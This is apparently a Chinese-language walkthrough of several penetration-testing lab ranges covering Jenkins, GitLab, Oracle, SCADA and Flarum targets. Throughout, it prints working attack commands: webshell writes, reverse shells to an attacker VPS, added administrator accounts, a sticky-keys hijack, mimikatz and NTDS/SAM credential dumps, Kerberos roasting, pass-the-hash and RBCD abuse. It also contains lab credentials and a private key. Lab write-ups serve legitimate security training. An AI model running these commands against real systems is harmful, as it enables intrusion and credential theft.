任意文件读取

查看content-log.php

其实这里可以直接读出flag01了(估计权限比较高)

1
/tools/content-log.php?logfile=C:\Users\Administrator\flag\flag01.txt

但是我们还是根据剧情走。

根据剧情可知要读取密码,剧情里还给了Jenkins配置目录为C:\ProgramData\Jenkins\.jenkins

搜索了一下密码一般放在哪里

可以得知密码一般放在/secrets/initialAdminPassword这个文件里,读取一下这个文件

1
/tools/content-log.php?logfile=C:\ProgramData\Jenkins\.jenkins\secrets\initialAdminPassword

得到密码(本来我还以为是加密的,结果就是这个)

1
510235cf43f14e83b88a9f144199655b

返回到8080端口的登录界面登录admin用户后台

后台RCE

进入管理后下拉找到脚本命令行

运行看看

1
println "whoami".execute().text

可以看到直接就是system最高权限了。

两种getshell的方式

法一:注入木马文件弹shell

直接运行下面这段代码

1
new File("C:/phpstudy_pro/WWW/shell.php").write('<?php eval($_POST["shell"]);');

然后用蚁剑连接

法二:添加用户

运行下面的代码

1
2
println "net user TG1u g123456@ /add".execute().text
println "net localgroup administrators TG1u /add".execute().text

登录rdp

进入后获取flag01

1
flag01: flag{da7d6e02-a36b-4702-aa99-c5bd59463b0c}

第二关

关卡剧情:管理员为 Jenkins 配置了 Gitlab,请尝试获取 Gitlab API Token,并最终获取 Gitlab 中的敏感仓库。获取敏感信息后,尝试连接至 Oracle数据库,并获取 ORACLE 服务器控制权限。

内网

信息搜集

ipconfig查看网段

可以发现存在局域网

粘贴个fscan进去扫描一下内网

1
fscan.exe -h 172.22.14.7/24

整理一下

内网穿透

粘贴个gost进去用gost做正向代理

1
gost.exe -L=admin:[email protected]:1080

配置proxifier

配置proxychains

GitLab敏感仓库获取

GitLab :是基于Web的DevOps平台,用于管理Git仓库、持续集成(CI)、持续交付(CD)以及其他软件开发和运维流程。

根据关卡的剧情先获取Gitlab API Token

上面登录的Jenkins后台可以获取到

1
{AQAAABAAAAAg9+7GBocqYmo0y3H+uDK9iPsvst95F5i3QO3zafrm2TC5U24QCq0zm/GEobmrmLYh}

也可以在C:\ProgramData\Jenkins\.jenkins\credentials.xml读到(需要开启隐藏的Data文件夹)

由于token是加密后的,在脚本命令行那里解密一下

1
2
3
4
println(hudson.util.Secret.fromString("{AQAAABAAAAAg9+7GBocqYmo0y3H+uDK9iPsvst95F5i3QO3zafrm2TC5U24QCq0zm/GEobmrmLYh}").getPlainText())
//hudson.util.Secret:是Jenkins的一个工具类,用于处理加密和解密操作。
//fromString方法:用于将一个加密的字符串转换为Secret对象。
//getPlainText方法:用于将Secret对象解密为明文。

1
glpat-7kD_qLH2PiQv_ywB9hz2

上面fscan扫出来的172.22.14.16是GitLab的部署站点

访问后需要登录,我们用得到的API Token进行登录

仓库的通用接口是 api/v4/projects/,用API列出GitLab项目

1
2
3
4
5
6
7
proxychains -q curl --silent --header "PRIVATE-TOKEN: glpat-7kD_qLH2PiQv_ywB9hz2"  "http://172.22.14.16/api/v4/projects/" | jq | grep "http_url_to_repo"
//curl:用于发送HTTP请求。
//--silent:禁止curl输出进度信息和错误信息。
//--header:设置HTTP请求的头部信息。
//PRIVATE-TOKEN:GitLab API的私有令牌,用于身份验证。
//jq:用于解析和处理JSON数据。
//"http_url_to_repo":要搜索的字段名称,通常是GitLab项目的仓库URL。

把项目下载下来(其实就只有前两个有用到)

1
2
3
4
5
6
7
8
9
proxychains -q git clone http://gitlab.xiaorang.lab:[email protected]/xrlab/internal-secret.git 

proxychains -q git clone http://gitlab.xiaorang.lab:[email protected]/xrlab/xradmin.git

proxychains -q git clone http://gitlab.xiaorang.lab:[email protected]/xrlab/awenode.git

proxychains -q git clone http://gitlab.xiaorang.lab:[email protected]/xrlab/xrwiki.git

proxychains -q git clone http://gitlab.xiaorang.lab:[email protected]/gitlab-instance-23352f48/Monitoring.git
Oracle RCE

在xradmin项目里有Oracle数据库的配置文件/xradmin/ruoyi-admin/src/main/resources/application-druid.yml

1
2
3
url: jdbc:oracle:thin:@172.22.14.31:1521/orcl
username: xradmin
password: fcMyE8t9E4XdsKf

用navicat连接不上去,利用odat来打(看wp说是因为权限是DBA是最高权限,可以直接执行命令)

odat:一个用于与Oracle数据库交互的工具,类似于sqlplus,但功能更强大。

添加管理员用户

1
2
3
4
5
proxychains -q odat dbmsscheduler -s 172.22.14.31 -p 1521 -d ORCL -U xradmin -P fcMyE8t9E4XdsKf --sysdba --exec 'net user TG1u g123456@ /add'
proxychains -q odat dbmsscheduler -s 172.22.14.31 -p 1521 -d ORCL -U xradmin -P fcMyE8t9E4XdsKf --sysdba --exec 'net localgroup administrators TG1u /add'
//dbmsscheduler:Oracle数据库中的一个内置功能,用于调度作业和执行操作系统命令。
//-s:数据库服务器的IP地址,上面fscan扫描出来172.22.14.31。
//--sysdba:以DBA权限连接到数据库,具有最高权限。

创建完后,登录rdp

获取flag02

1
flag02: flag{85b32f9c-0f5d-4180-bac1-605f6648d76c}

第三关

关卡剧情:攻击办公区内网,获取办公 PC 控制权限,并通过特权滥用提升至 SYSTEM 权限。

内网

SeRestorePrivilege提权

SeRestorePrivilege特权:允许进程绕过文件和目录的安全性检查,从而还原文件和目录。这种特权通常赋予给还原软件,以确保它们能够访问和操作系统中的所有文件,而不受文件权限的限制。

上面下载的项目除了xradmin还有一个internal-secret里面打开是机器名和一堆用户、密码

上面fscan扫出来172.22.14.46的机器名是XR-0923

找到对应的用户和密码

1
XR-0923 | zhangshuai | wSbEajHzZs

登录rdp

但是这个用户没有管理员权限,需要提权

查看特权,发现这里只有两个特权,并不能用于提权

1
whoami /priv

利用evil-winrm来连接这个机器

evil-winrm:一个用于与Windows远程管理(WinRM)服务交互的工具,类似于PowerShell。

1
proxychains -q evil-winrm -i 172.22.14.46 -u zhangshuai -p wSbEajHzZs

连接后再次查看特权,比rdp多了一个SeRestorePrivilege特权,可以用于更改文件或目录的所有者属性

直接劫持sthc.exe,将cmd重名名为sthc.exe

sethc.exe:是Windows中的Sticky Keys程序,用于帮助有肢体残疾的用户。在登录界面按下Shift键五次,Windows 会启动Sticky Keys功能,弹出一个对话框。

1
2
3
cd C:\windows\system32
ren sethc.exe sethc.bak
ren cmd.exe sethc.exe

回到rdp点击用户头像再点击锁定进行锁屏,连按五次shift启动粘连键

可以看到我们此时的cmd就拥有管理员权限了,可以直接抓取flag03(但是没法复制粘贴,可以用识图取字,但是还是登录rdp进去查看方便)

添加管理员用户

1
2
net user TG1u g123456@ /add
net localgroup administrators TG1u /add

重新登录rdp

获取flag03

1
flag03: flag{9a48d9c8-bda3-40c5-88c1-c0d3a44f5364}

第四关

关卡剧情:尝试接管备份管理操作员帐户,并通过转储 NTDS 获得域管理员权限,最终控制整个域环境。

内网

域环境分析

复制个mimikatz进去抓一下hash

1
2
privilege::debug
sekurlsa::logonpasswords

1
2
3
4
5
6
XR-0923$ 
NTLM:88e4a2eb83aef14dde6ef29fd96a7fff
XR-0923$
NTLM:8519c5a89b2cd4d679a5a36f26863e5d
zhangshuai
NTLM:f97d5a4b44b11bc257a63c3f76f18a9a

拿着XR-0923$的Hash获取目标域中的用户SPN

1
proxychains -q impacket-GetUserSPNs xiaorang.lab/'XR-0923$' -hashes :88e4a2eb83aef14dde6ef29fd96a7fff -dc-ip 172.22.14.11

卷影拷贝提取 ntds.dit

ntds.dit文件:是一个数据库,用于存储Active Directory数据,包括有关用户对象,组和组成员身份的信息。它包括域中所有用户的密码哈希。通过提取这些哈希值,可以使用诸如Mimikatz之类的工具执行哈希传递攻击,或使用诸如Hashcat之类的工具来破解这些密码。这些密码的提取和破解可以脱机执行,因此将无法检测到。一旦攻击者提取了这些散列,它们便可以充当域上的任何用户,包括域管理员。

上面查看SPN可以发现一个tianjing用户,抓一下Hash

1
proxychains -q impacket-GetUserSPNs xiaorang.lab/'XR-0923$' -hashes :88e4a2eb83aef14dde6ef29fd96a7fff -dc-ip 172.22.14.11 -request-user tianjing

复制到1.txt用hashcat爆破密码

1
hashcat -m 13100 -a 0 1.txt /usr/share/wordlists/rockyou.txt --force

1
tianjing:DPQSXSXgh2

登录rdp但是发现连接被拒绝了

用evil-winrm连上去

1
proxychains -q evil-winrm -i 172.22.14.11 -u tianjing -p DPQSXSXgh2 

但是此时的权限太低了,需要提权

查看一下特权

有两个可以利用的特权,SeRestorePrivilege和SeBackupPrivilege

SeBackupPrivilege特权:赋予给备份和还原软件,以确保它们能够访问和操作系统中的所有文件,而不受文件权限的限制

本地创一个raj.dsh(这里的注释不用一起加进去我不知道//是不是用于注释的)

raj.dsh文件:通常是一个脚本文件,用于自动化任务或配置系统。

1
2
3
4
5
6
7
8
set context persistent nowriters
//设置持久上下文并禁用写入操作。
add volume c: alias raj
//添加C盘并设置别名raj。
create
//创建卷。
expose %raj% z:
//将卷挂载到Z盘

在kali里用unix2dos将dsh文件的编码间距转换为Windows兼容的编码和间距

unix2dos:是一个用于将Unix/Linux格式的文本文件转换为DOS/Windows格式的工具。

1
unix2dos raj.dsh

在C盘随便创建一个目录,把dsh文件传到靶机上,然后用diskshadow执行dsh文件

diskshadow:是Windows操作系统中的一个命令行工具,用于创建和管理卷影拷贝服务(VSS)快照。

1
2
3
4
mkdir test
cd test
upload raj.dsh
diskshadow /s raj.dsh

可以看到已经成功备份,把备份的ntsd文件复制到当前目录下

1
RoboCopy /b z:\windows\ntds . ntds.dit

把system文件备份,

1
reg save HKLM\SYSTEM system

然后将两个文件都下载到kali工作目录里(这里要确保下的目录两个文件确实存在)

1
2
download C:\test\system system
download C:\test\ntds.dit ntds.dit

下载完后回到kali用secretsdump解密ntds

secretsdump:通常用于渗透测试和安全评估,以获取域控制器中存储的用户凭据。

1
impacket-secretsdump -ntds ntds.dit -system system local

得到域管Hash

1
2
Administrator:500:aad3b435b51404eeaad3b435b51404ee:70c39b547b7d8adec35ad7c09fb1d277:::
NTLM:70c39b547b7d8adec35ad7c09fb1d277

再次连接

1
proxychains -q evil-winrm -i 172.22.14.11 -u Administrator -H "70c39b547b7d8adec35ad7c09fb1d277"

获取flag04

1
type C:\Users\Administrator\flag\flag04.txt

1
flag04: flag{9d36a427-56f5-40b5-a392-328c41f2d2d0}

总结:

ThermalPower

工具准备:JDumpSpider、Shiro Attack、fscan、gost、proxifier、proxychains、SeBackupPrivilegeUtils和SeBackupPrivilegeCmdLets模块dnSpy或者dotPeek、

知识点:Actuator配置漏洞、Shiro反序列化 、FTP匿名访问、SeRestorePrivilege提权或注册表SAM转储、.NET逆向+RSA/AES解密

靶场介绍:该场景模拟仿真了电力生产企业的部分业务场景。“火创能源” 公司在未充分重视网络安全的威胁的情况下,将敏感区域的服务错误地配置在公网上,使得外部的 APT 组织可以轻松地访问这些服务,最终导致控制电力分配、生产流程和其他关键设备的服务遭受攻击,并部署了勒索病毒。 玩家的任务是分析 APT 组织的渗透行为,按照关卡列表恢复其攻击路径,并对勒索病毒加密的文件进行解密。 附件地址:https://pan.baidu.com/s/13jTP6jWi6tLWkbyO8SQSnQ?pwd=kj6h

第一关

关卡剧情:评估暴露在公网的服务的安全性,尝试建立通向生产区的立足点。

外网

信息搜集

靶场给了服务器ip,探测存活端口(可以用fscan直接扫出来的,只不过我这个是之前打的那时候还是用nmap居多)

1
nmap <ip>

弱口令登录

访问8080端口,是一个登录界面

用户名:admin 密码:123456 可以登录但是并没有什么用

Actuator配置漏洞

用dirsearch扫描一下网站目录

发现有个heapdump,并且是个Shiro框架

访问/actuator/heapdump下载heapdump

用JDumpSpider分析一下,发现ShiroKey

1
java -jar JDumpSpider-1.1-SNAPSHOT-full.jar <heapdump文件路径>

Shiro反序列化

有ShiroKey直接利用Shiro Attack注入内存马(这边重置了一下靶场,ip变更)

用冰蝎getshell,在根目录发现flag01

1
flag01: flag{cc20f3d6-fa08-4c17-9c74-c1dbb3754cd3}

第二关

关卡剧情:尝试接管 SCADA 工程师的个人 PC,并通过滥用 Windows 特权组提升至系统权限。

内网

信息搜集

先进行内网信息搜集

上一关我们得到shell查看一下网段,存在局域网

测试一下能不能出网

可以访问互联网,反弹shell到自己的服务器上

1
2
3
4
5
//靶机
bash -c "bash -i >&/dev/tcp/ip/7777 0>&1"

//VPS
nc -lvvp 7777

上传fscan扫描一下内网

1
./fscan -h 172.22.17.213/24

整理一下

内网穿透

用gost做内网穿透

1
./gost -L=admin:[email protected]:1080

配置proxifier

配置proxychains

FTP匿名访问

上面fscan扫出来172.22.17.6有个ftp匿名访问

连接看看

1
ftp 172.22.17.6

用文件夹打开比较方便查看文件

Windows Backup Operators特权组提权

打开火创能源内部资料文件夹里有一个excel表格和一个通知

用脚本筛选出SCADA工程师信息,组成账号和密码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import pandas as pd

# 读取 Excel 文件
df = pd.read_excel('内部员工通讯录.xlsx')

# 筛选出职位为 "SCADA工程师" 的账号和工号
filtered_data = df[df['职位'] == 'SCADA工程师'][['账号', '工号']]

# 将工号转换为字符串类型,并保留前导的 0
filtered_data['工号'] = filtered_data['工号'].apply(lambda x: '{:0>4}'.format(x))

# 组合账号和工号为密码
filtered_data['密码'] = filtered_data['账号'] + '@' + filtered_data['工号']

# 输出符合条件的账号和密码
for index, row in filtered_data.iterrows():
account = row['账号']
password = row['密码']
print(f'账号: {account}, 密码: {password}')

1
2
3
4
5
6
7
8
9
10
账号: chenhua, 密码: chenhua@0813
账号: zhaoli, 密码: zhaoli@0821
账号: wangning, 密码: wangning@0837
账号: zhangling, 密码: zhangling@0871
账号: zhangying, 密码: zhangying@0888
账号: wangzhiqiang, 密码: wangzhiqiang@0901
账号: chentao, 密码: chentao@0922
账号: zhouyong, 密码: zhouyong@0939
账号: lilong, 密码: lilong@1046
账号: liyumei, 密码: liyumei@1048

这个就是SCADA 工程师的个人PC的用户名和密码

随便选一个登录172.22.17.6的rdp

进入后,没法进入到Administrator目录,但是当前用户是有管理员权限的(原来我以为这个用户是普通用户搞了半天)

所以我们需要提权到Administrator用户

以下有两种方法

法一:SeBackupPrivilege提权

根据提示特权组提权,我们先查看一下特权组

1
whoami /groups

可以发现当前用户是处在Backup Operators组,默认情况下会授予该组SeBackupPrivilege和SeRestorePrivilege特权

查看特权,没发现SeBackupPrivilege和SeRestorePrivilege特权

1
whoami /priv

用管理员身份打开再次查看

发现有SeBackupPrivilege和SeRestorePrivilege特权,但是被禁用了

这里我们就利用SeBackupPrivilege特权即可

利用SeBackupPrivilegeUtils和SeBackupPrivilegeCmdLets模块来启用SeBackupPrivilege特权

在c盘创建一个TG1u目录,将下载后的SeBackupPrivilege文件夹放入

以管理员用户身份打开powershell

1
2
3
4
5
6
7
8
cd C:/TG1u/SeBackupPrivilege
Import-Module .\SeBackupPrivilegeUtils.dll
Import-Module .\SeBackupPrivilegeCmdLets.dll
//导入模块
Set-SeBackupPrivilege
//启用SeBackupPrivilege特权
Get-SeBackupPrivilege
//检查SeBackupPrivilege特权状态

再次查看特权可以发现已启用

将flag复制到桌面,获取flag02

1
Copy-FileSeBackupPrivilege C:\Users\Administrator\flag\flag02.txt C:\Users\chenhua\Desktop\flag02.txt -Overwrite

1
flag02: flag{766b89d4-bf2f-471e-a9ca-c87470b00f99}

法二: 注册表SAM转储

还是用管理员打开powershell

1
2
3
cd C:\TG1u
reg save hklm\sam c:\TG1u\sam
reg save hklm\system c:\TG1u\system

将两个文件一起下载到kali里,解密得到Administrator用户的Hash

1
2
Administrator:500:aad3b435b51404eeaad3b435b51404ee:f82292b7ac79b05d5b0e3d302bd0d279:::
NTLM:f82292b7ac79b05d5b0e3d302bd0d279

有了Hash那么就可以打WMI横向或者SMB横向

1
2
3
proxychains -q impacket-wmiexec -hashes :f82292b7ac79b05d5b0e3d302bd0d279 [email protected] -codec gbk

proxychains -q impacket-psexec -hashes :f82292b7ac79b05d5b0e3d302bd0d279 [email protected] -codec gbk

获取flag02

1
type C:\Users\Administrator\flag\flag02.txt

1
flag02: flag{766b89d4-bf2f-471e-a9ca-c87470b00f99}

第三关

关卡剧情:尝试接管 SCADA 工程师站,并启动锅炉。

内网

第二个网段信息搜集

在火创能源内部资料这个文件夹里有一个SCADA.txt文件,里面发现一台windows机子信息,但是处于另一个网段

1
2
3
WIN-SCADA: 172.22.26.xx
Username: Administrator
Password: IYnT3GyCiy3

用fscan扫描这个网段(同时也是验证是不是处在同一个内网中)

1
./fscan -h 172.22.26.0/24

可以看到成功扫描,说明两个网段的子网掩码是相同的都是255.255.0.0,那么就不用搭建第二个代理了。

扫出来只有172.22.26.11,是一台windows系统的机子

上面有用户名和密码,登录rdp

进入后直接就打开了一个火力发电厂自动化控制系统

根据剧情我们要启动锅炉

将其启动就可以得到flag03(这里没法复制粘贴,用识图取字还得一个个对,难崩)

1
flag{bcd080d5-2cf1-4095-ac15-fa4bef9ca1c0}

第四关

关卡剧情:尝试获取 SCADA工程师站中的数据库备份,并分析备份文件是否泄漏了敏感数据。

内网

勒索程序逆向+勒索文件解密

Win + D返回桌面,发现这台机子已经被勒索软件劫持了

可以发现桌面上有ScadaDB.sql.locky,除此之外打开文件夹直接就可以看到flag04.txt并且在c盘可以发现勒索软件Lockyou.exe

根据剧情我们要获取数据库备份ScadaDB.sql,但是此时的ScadaDB.sql被加密为ScadaDB.sql.locky

那么接下来就是要逆向勒索软件进行文件解密了(web狗表示艹)

将加密的文件 ScadaDB.sql.locky 和勒索程序 Lockyou.exe 下载到本地(不要在本机傻傻点击打开嗷)

Lockyou.exe进行反汇编分析源码

这里有两种反汇编方式

法一:dnSpy

先点击入口就可以看到加密方法

再点击加密方法即可找到加密方式和加密算法

法二:JeBrains里的dotPeek

用dotPeek的话也是点击进去找到加密方式和加密算法

可以看到先用PRIVATE_KEY解密AES_KEY_ENC得到AES_KEY,然后用AES_KEY解密ScadaDB.sql.locky

靶场给了附件privateKey和encryptedAesKey分别对应PRIVATE_KEY和AES_KEY_ENC

使用在线工具先把 privatekey格式转换为pem

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
-----BEGIN PRIVATE KEY-----
MIICdwIBADANBgkqhkiG9w0BAQEFAASCAmEwggJdAgEAAoGBALqC9ggGlbTFae2+
PyH3HsdgK7brtrb7QTtuSXTMAJ3ruoBDwq0Lw8rMHm3IQNS51d3vjiVeZB8RU6f3
YiM0p5p4VJn2Y2K7IWUixptX08HEay+mGFbH1WRv+FC0g1EXwIocjdRyCz/1qgqr
rtaFqNAncaMDLGaTAz6Hasx3BQsRAgMBAAECgYEAtuLJ687BJ5RYraZac6zFQo17
8A8siDrRmTwozV1o0XGf3DwVfefGYmpLAC1X3QAoxUosoVnwZUJxPIfodEsieDox
RqVxMCcKbJK3nwMdAKov6BpxGUloALlxTi6OImT6w/roTW9OK6vlF54o5U/4DnQN
UM6ss/2/CMM/EgM9vz0CQQDZE+pqh9wn+mEindAUITKLSSPQVlFCaZaaICaD8LQz
J5fbnmZ6PwiyDS/Cz080/dEsuPbk7Wlsgn5+rBZ9QSYXAkEA2/QGgIpqpxODaJLQ
vjS8xnU8NvxMlk110LSUnfAh/E6wB/XUc89HhWMqh4sGo/LAX0n94dcZ4vLMpzbk
Vfy5FwJBALpSudaOno1B/7XytvNQO04KjU75h+31K2tHRUfihwmRZmr/Xv52tEP/
xYr03guiALTeXizJCsA0kdawZu1DyikCQDztieeNcCG77AjJsn0dyrUGwJlSpjx0
VJBtlUVywVdMzMJHvIQgBOXUJHHLdxlvIw7CRkuK9CbDryEauYGAMh0CQCUtrbQd
FiZttt6ZYSUK1qkr7PS3RHk3fHIDVqMk5DDpGCInkU0ZKP0bl7n4MaaZeGy/UUUy
PHvLZB6D8zSyuGw=
-----END PRIVATE KEY-----

然后用在线工具rsa解密一下encryptedAesKey

1
cli9gqXpTrm7CPMcdP9TSmVSzXVgSb3jrW+AakS7azk=

返回查看加密算法

EncryptFile函数中,先输出了长度为16字节的iv,再输出了加密后的数据库文件,然后一起写入ScadaDB.sql.locky。在本场景中,前16字节恰好为iv,不是原始 ScadaDB.sql 文件中的数据,所以直接解密就可以了。

用脚本对ScadaDB.sql.locky进行解密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import base64

# 读取加密文件内容
encrypted_file = 'ScadaDB.sql.locky'
with open(encrypted_file, 'rb') as file:
encrypted_data = file.read()

# 解密密钥
key = 'cli9gqXpTrm7CPMcdP9TSmVSzXVgSb3jrW+AakS7azk='
key = base64.b64decode(key)

# 按照每 16 位数据作为 IV 进行解密
iv = encrypted_data[:16]

# 创建 AES 解密器
cipher = AES.new(key, AES.MODE_CBC, IV=iv)

# 解密数据(去除 IV 后的部分)
decrypted_data = unpad(cipher.decrypt(encrypted_data[16:]), AES.block_size)

# 写入解密后的内容到新文件
decrypted_file = 'decrypted_file.txt'
with open(decrypted_file, 'wb') as file:
file.write(decrypted_data)

print(f'文件解密完成,解密后的数据已保存到 {decrypted_file}')

打开解密后的encrpted_file.txt搜索flag即可得到flag04

1
flag{63cd8cd5-151f-4f29-bdc7-f80312888158}

总结:

这套靶场总体也是不难,外网的知识点前面Hospital靶场也打过了,就是在获取第二个flag登录rdp的那个用户是管理员有点坑,我一直以为只有Administrator用户才有管理员权限,所以被误导了卡了好久。

Flarum

工具准备:fscan、Wappalyzer、phpgcc、蚁剑、gost、proxifier和proxychains、kerbrute、GetNPUsers、hashcat、bloodhound-python、BloodHound、SharpXDecrypt、addcomputer、rbcd、getST、secretsdump、wmiexec或psexec

知识点:Flarum漏洞、Capabilitites提权、AS_REP Roasting攻击、xshell抓密码、Acount Operators组用户打RBCD、DCSync

靶场介绍:Flarum是一套难度为中等的靶场环境,完成该挑战可以帮助玩家了解内网渗透中的代理转发、内网扫描、信息收集、kerberos协议以及横向移动技术方法,加强对域环境核心认证机制的理解,以及掌握域环境渗透中一些有趣的技术要点。该靶场共有4个flag,分布于不同的靶机。

第一关

关卡剧情:请测试 Flarum社区后台登录口令的安全性,并获取在该服务器上执行任意命令的能力。

外网

信息搜集

还是一样用fscan做一下信息搜集

可以看到扫出来一个web服务在80端口

访问一下,用Wappalyzer查看一下

可以发现是用Flarum框架搭建的一个社区,那么网上找相关漏洞找到了p牛的文章 从偶遇Flarum开始的RCE之旅

跟着文章打rce

Flarum漏洞
弱口令爆破

在主页面可以看到邮箱为[email protected],那么就是爆破密码就行了。

这里我用自己的密码本爆不出来,看了一下wp发现要用rockyou字典,但是有一亿多条密码不知道是咋爆出来的。

最后爆出来的邮箱和密码

1
[email protected]:1chris
任意文件读取

进入后台后,找到后台管理里的自定义CSS

写入

1
2
3
.test {
content: data-uri('/etc/passwd');
}

保存后访问/assets/forum.css,找到test的位置

将里面的内容base64解密后就是/etc/passwd的内容。

本来想直接读一下flag,但是发现读不了应该是权限不够。

phar反序列化

phpgcc生成payload,用bash反弹shell。

1
2
3
./phpggc -p tar -b Monolog/RCE6 system "bash -c 'bash -i >& /dev/tcp/<VPS_IP>/7777 0>&1'"
//-p:指定了有效载荷的格式。tar是一个用于在Unix系统上创建和解压缩归档文件的命令。
//-b:指定了要使用的利用链。Monolog/RCE6是一个已知的利用链,用于利用Monolog库中的远程代码执行(RCE)漏洞。Monolog是一个流行的PHP日志记录库。

用生成的payload构造成@import的payload编辑CSS

1
@import (inline) 'data:text/css;base64,<payload>';

再次访问/assets/forum.css可以看到已经成功写入

在vps开启监听端口

1
nc -lvvp 7777

用phar读文件

1
2
3
.test {
content: data-uri('phar://./assets/forum.css');
}

点击保存就getshell成功了(这里点保存会一直在加载中)

Capabilitites提权

SUID:是一种文件权限,允许用户以文件所有者的权限执行该文件。通常用于允许普通用户执行需要管理员权限的程序。

Capabilities:是一种更细粒度的权限管理机制,允许将传统的超级用户权限分解为多个独立的权限,可以限制权限只执行特定操作。

进入后查看用户为www-data权限太低了需要提权。

查看suid发现熟悉的就只有sudo,输入sudo -l发现需要密码,但是我们这里没有密码。

那么就只能用别的方式,查看设置了capabilitites可执行文件

1
getcap -r / 2>/dev/null

发现可以利用openssl命令读文件

获取flag01

1
2
3
openssl enc -in "/root/flag/flag01.txt"
//enc:是一个子命令,用于加密和解密文件。这里没有选择加密算法。
//-in:指定输入文件。

1
flag01: flag{4d29da16-a80f-4b80-b8c4-9ff189af1ca9}

由于每次重连都很不方便,所以写一个木马文件到/var/www/html/public/assets目录(只有这个目录能写入文件)

1
2
cd /var/www/html/public/assets
echo "<?php @eval(\$_POST["shell"]);?>" > shell.php

用蚁剑连接

第二关

关卡剧情:通过kerberos攻击的获取域内权限,并进行信息收集。

内网

信息搜集

ifconfig查看网段

上传fscan进行扫描

整理一下

内网穿透

用gost做内网穿透

1
./gost -L=admin:[email protected]:1080

配置proxifier

配置proxychains

AS_REP Roasting攻击

/var/www/html/config.php可以发现网站是有配置数据库的,config.php有数据库的相关信息

用蚁剑或者navicat连接数据库(这里要注意数据库的类型,我用MYSQL没连上)

进入后在flarum_users表中可以发现用户并且邮件是域名的形式,根据关卡剧情我们可以猜测是要爆破AD域用户

导出username那列复制到user.txt中并放入到kali里(注意要去掉limit),接下来就是打AS_REP Roasting攻击了。(上面Time靶场有详细的介绍)

用kerbrute扫描一下(但是我这里没扫出来,不过这一步只是为了减少后面的爆破量,可有可无)

1
./kerbrute userenum --dc 172.22.60.8 -d xiaorang.lab user.txt -t 10

查看用户是否开启“不使用Kerberos预认证”

1
proxychains -q impacket-GetNPUsers -dc-ip 172.22.60.8 -usersfile user.txt -format hashcat xiaorang.lab/

得到两个用户的 hash

1
2
[email protected]:248f7bd6b50fa5f0af670fc31f1dbb19$c70054de47fb204f8457532e17a98ce16eed474f70d730ebb72df31a14b41d9a94cef0f9b20f6e38ff9943343dfdc43d9c7e4ec1427eca43425c13299233d8e61d62310f4cddfaa57e93add8dff67708b258f2e81ff7e9d12a69b17ca214872cfce56e9191e1bbcae1b7fb6466c2c188f31fd9dd69931496ab09f051c395328549dea59116f28bb17dfe0c9ffeba8457b9e7170ef96d90ad7d25eebe0763d7b836f19d1323fce368d29e835495ff08df70cd1291ca502968d06353b2fe293b5f8432055d60aff48f90176549e73266b63feefdd33a1170a7836f07bf0f1bff386a1c9c76ab0432bf5b5f847b
[email protected]:665094fad5cce6dd02df0f1d41761bfa$e0131c50554d5d0b31be0a54de4ddae564ed84fc67c508d6e3c56969e659f4c0ce662763f260337a72b64ed9f13bb0fb826bfa6200a54fa02386b8e858411f79466189eb1e4d10649f99855d3f78787fbcf2fdfa1e62eff417454cc7f1aee4295be6092f9284cdc15a9265f97d6cd07312c2ad45326699d02afabfd20c5671ba6103454f27bcaa086a1410d463c066f914a4999612d8b5b3a3dd20314061060951151d25bbdde9b32590d621b99632d63c6ce190cae560bd57dfc334659a358b91082b4087057dd88e473d41f8491c0d48be709092435b3ba57d95cf77e4a751790f5ca586c4029bce159684

将结果放入到1.txt中,用hashcat爆破一下

1
hashcat -a 0 -m 18200 --force 1.txt /usr/share/wordlists/rockyou.txt

1
[email protected]:Adm12geC

登录172.22.60.15的rdp

进入后无法进入Administrator目录找flag

域环境分析

用bloodhound-python搜集域内关系

1
proxychains -q bloodhound-python -u wangyun -p Adm12geC -d xiaorang.lab -c all -ns 172.22.60.8 --zip --dns-tcp

将压缩包拖到BloodHound里分析

查看最短到达域管理员的路径

发现最短路径是zhangxin用户属于Account Operators组。并且我们还可发现DC和FILESERVER都具有DCSync权限。

第三关

关卡剧情:请尝试获取内网中Fileserver主机的权限,并发现黑客留下的域控制器后门。

内网

xshell抓密码

打开xshell可以发现连接过一个叫 zhangxin 的用户(但是不知道为什么我没法打开)

SharpXDecrypt复制到桌面抓密码

1
SharpXDecrypt.exe

1
zhagnxin:admin4qwY38cc

但是可以发现他的ip是172.22.60.45,之前用fscan没扫出来,试着连接rdp也没法连。

Acount Operators组用户打RBCD

Account Operators组:是一个内置的安全组,组内成员对于所有非域控机器都具有GenericAll ACL权限,可以管理域中的用户和组账户。

enericAll权限:是一种通用权限,授予对对象的所有可能的访问权限。包括读取、写入、执行、删除、更改权限和所有权等操作。

上面域信息搜集我们可以知道zhangxin用户是属于Account Operators 组,那么就可以利用zhangxin用户给 FILESERVER配置RBCD,并且FILESERVER具有DCSync权限,可以拿下域控。

用addcomputer先创建一个zhangxin用户的机器账户。

impacket-addcomputer:用于在Windows域中添加计算机账户。

机器账户:活动目录中的computers组内的计算机,也被称为机器账号。

1
2
3
proxychains -q impacket-addcomputer xiaorang.lab/zhangxin:'admin4qwY38cc' -computer-name TEST\$ -computer-pass 123456 -dc-ip 172.22.60.8
//-computer-name:指定要添加的计算机名称。在Windows域中,计算机账户通常以$结尾。
//-computer-pass:指定添加的计算机的密码。

用rbcd配置172.22.60.42的RBCD,将它的委派对象设置为创建的TEST机器。

impacket-rbcd:用于管理Windows域中的基于资源的约束委派(Resource-Based Constrained Delegation, RBCD)。

1
2
3
4
proxychains -q impacket-rbcd xiaorang.lab/zhangxin:'admin4qwY38cc' -dc-ip 172.22.60.8  -action write -delegate-to FILESERVER\$ -delegate-from TEST\$
//-action write:指定操作为写入,即配置资源基于约束委派。
//-delegate-to:指定委派目标。这里是FILESERVER$,这是允许委派的服务器。
//-delegate-from:指定委派源。这里是TEST$,这是允许委派的客户端

申请访问172.22.60.42主机CIFS服务的服务票据

CIFS服务:是SMB(Server Message Block)协议的扩展。CIFS支持详细的权限管理,允许管理员设置不同用户或组对共享资源的访问权限。

1
proxychains -q impacket-getST xiaorang.lab/TEST\$:123456 -spn cifs/FILESERVER.xiaorang.lab -impersonate administrator -dc-ip 172.22.60.8

修改环境变量,导入上面保存票据的位置。

1
export KRB5CCNAME=administrator@[email protected]

修改hosts(不添加连接不上)

1
vim /etc/hosts

打PtH连接

1
proxychains -q impacket-wmiexec [email protected] -k -no-pass -dc-ip 172.22.60.8 -codec gbk

获取flag03

1
